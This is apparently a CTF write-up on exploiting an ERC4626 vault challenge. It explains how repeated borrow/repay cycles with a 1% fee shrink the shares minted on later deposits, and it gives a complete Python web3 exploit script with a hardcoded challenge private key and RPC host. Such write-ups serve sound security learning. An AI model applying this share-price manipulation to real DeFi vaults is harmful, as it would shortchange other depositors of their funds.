Introduction
Recently, I tackled a blockchain-based Capture The Flag (CTF) challenge that required exploiting the mechanics of an ERC4626 vault to meet a specific condition. The challenge revolved around smart contracts and demanded a solid grasp of how vaults handle assets and shares through deposits, borrowing, and repayments. In this writeup, I’ll break down the challenge, my solution strategy, the obstacles I encountered, and the final script that cracked it.
The Challenge Setup
The challenge included three core smart contracts:
LING.sol: A standard ERC20 token contract that mints an initial supply of 1000 ether worth of LING tokens to the Setup contract.
Setup.sol: This contract deploys the LING token and the Vault contract. It offers two main functions:
claim(): Lets the user claim 1 ether of LING tokens.
solve(): Approves the vault to spend 999 ether of LING, deposits it into the vault, and checks if the vault’s balance of the setup contract (in shares) is less than 500 ether. If true, it sets solved = true.
Vault.sol: An ERC4626-compliant vault managing LING tokens, supporting deposits (minting shares), borrowing assets, and repaying with a 1% fee.
Objective
The goal was to call solve() in the Setup contract and make it set solved = true. This meant ensuring that depositing 999 ether of LING into the vault resulted in fewer than 500 ether worth of shares.
Understanding the Vault Mechanics
To crack this, I dug into how the vault calculates shares and how its state changes with borrowing and repaying.
Key Mechanics:
Deposit: Shares are minted based on the ratio of total shares to total assets. For an empty vault, it’s a 1:1 ratio.
Borrow: Borrowing reduces the vault’s total assets.
Repay: Repaying adds a 1% fee to the repaid amount, increasing total assets without minting new shares.
The critical insight? Each repay increases the vault’s assets (thanks to the fee) without adding shares, effectively lowering the share price (assets per share). A lower share price means future deposits yield fewer shares for the same asset amount.
My Approach
I devised a plan to manipulate the vault’s state using borrow and repay cycles. Each cycle would inflate the total assets relative to shares, reducing the share price so that the solve() function’s 999 ether deposit would yield less than 500 ether in shares.
Steps:
Claim Tokens: Call setup.claim() to grab 1 ether of LING.
Approve Vault: Allow the vault to spend my LING tokens.
Seed the Vault: Deposit a small amount (e.g., 0.01 ether) to initialize the vault’s state.
Borrow/Repay Cycles: Repeatedly borrow a chunk of the vault’s assets, then repay with the 1% fee, boosting total assets over many iterations.
Solve: Call setup.solve() to deposit 999 ether and check the condition.
Challenges and Fixes
Things didn’t work perfectly at first. Here’s what went wrong and how I fixed it:
Vault Assets Hitting Zero: Borrowing too much (e.g., 100% of assets) drained the vault, breaking its state.
- Fix: Borrowed 90% of total assets per cycle to keep some assets in play.
Not Enough Manipulation: Too few cycles left the share price too high, and solve() failed.
- Fix: Bumped the cycles to 300 for sufficient impact.
Debugging: I added logs every 10 cycles to track my balance, vault assets, and shares, which helped pinpoint issues.
The Final Solution
Here’s the Python script that solved the challenge:
import os
import json
from web3 import Web3
from eth_account import Account
from eth_account.signers.local import LocalAccount
RPC_URL = os.getenv("RPC_URL", "http://s1.r3.ret.sh.cn:31651")
PRIVATE_KEY = os.getenv("PRIVATE_KEY", "0x367944730c9d4e68337ea17fd5fb4777f165c50490b70d70bca95f39e6c25787")
SETUP_ADDRESS = os.getenv("SETUP_ADDRESS", "0xE5Aa189708cec3CE6A0d03FCC9CbD4cd72755708")
CYCLES = int(os.getenv("CYCLES", "300"))
if not PRIVATE_KEY or not SETUP_ADDRESS:
raise SystemExit("Set PRIVATE_KEY and SETUP_ADDRESS env‑vars first!")
w3 = Web3(Web3.HTTPProvider(RPC_URL))
acct: LocalAccount = Account.from_key(PRIVATE_KEY)
w3.eth.default_account = acct.address
print(f"Connected: chain‑id {w3.eth.chain_id}, signer {acct.address}\n")
setup_abi = json.loads('[{"inputs":[],"name":"claim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"solve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isSolved","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ling","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"vault","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]')
vault_abi = json.loads('[{"inputs":[{"internalType":"uint256","name":"assets","type":"uint256"},{"internalType":"address","name":"receiver","type":"address"}],"name":"deposit","outputs":[{"internalType":"uint256","name":"shares","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"borrowAssets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"repayAssets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalAssets","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}]')
erc20_abi = json.loads('[{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}]')
def send(fn):
tx = fn.build_transaction({
"from": acct.address,
"nonce": w3.eth.get_transaction_count(acct.address),
"gas": 400_000,
"gasPrice": w3.eth.gas_price,
})
signed = acct.sign_transaction(tx)
tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)
return w3.eth.wait_for_transaction_receipt(tx_hash)
def wei_to_ether(wei):
return w3.from_wei(wei, 'ether')
setup = w3.eth.contract(address=Web3.to_checksum_address(SETUP_ADDRESS), abi=setup_abi)
ling_address = setup.functions.ling().call()
vault_address = setup.functions.vault().call()
ling = w3.eth.contract(address=ling_address, abi=erc20_abi)
vault = w3.eth.contract(address=vault_address, abi=vault_abi)
print("1. Claiming 1 LING from the challenge...")
send(setup.functions.claim())
print(f" User balance: {wei_to_ether(ling.functions.balanceOf(acct.address).call())} LING")
print("2. Approving vault to spend LING (infinite approval)...")
send(ling.functions.approve(vault_address, 2**256 - 1))
print("3. Depositing 0.01 LING to seed the vault...")
D = w3.to_wei(0.01, "ether")
send(vault.functions.deposit(D, acct.address))
print(" Initial vault state:")
print(f" Total assets: {wei_to_ether(vault.functions.totalAssets().call())} ether")
print(f" Total shares: {wei_to_ether(vault.functions.totalSupply().call())} vLING")
print(f"4. Performing up to {CYCLES} borrow/repay cycles...")
for i in range(CYCLES):
total_assets = vault.functions.totalAssets().call()
if total_assets == 0:
print(" Vault assets are zero, stopping cycles")
break
borrow_amount = int(total_assets * 0.9)
if borrow_amount == 0:
print(" Borrow amount is zero, stopping cycles")
break
receipt = send(vault.functions.borrowAssets(borrow_amount))
if receipt.status == 0:
print(" Borrow failed, stopping cycles")
break
send(vault.functions.repayAssets(borrow_amount))
if (i + 1) % 10 == 0:
print(f" After {i+1} cycles:")
print(f" User balance: {wei_to_ether(ling.functions.balanceOf(acct.address).call())} LING")
print(f" Vault assets: {wei_to_ether(vault.functions.totalAssets().call())} ether")
print(f" Vault shares: {wei_to_ether(vault.functions.totalSupply().call())} vLING")
print("5. Calling Setup.solve() to complete the challenge...")
send(setup.functions.solve())
assert setup.functions.isSolved().call(), "Challenge not solved!"
print("Success! The challenge has been solved.\n")
Conclusion
This challenge was a fantastic dive into ERC4626 vault mechanics. By leveraging borrow/repay cycles, I manipulated the share price to meet the solve() condition. Key lessons:
The interplay between assets and shares dictates deposit outcomes.
Controlled borrowing prevents breaking the vault’s state.
Debugging with logs is a lifesaver for tracking changes to blockchain state.
This also hints at real-world vault design considerations, that small fees can be exploited if not carefully managed. A fun and educational CTF!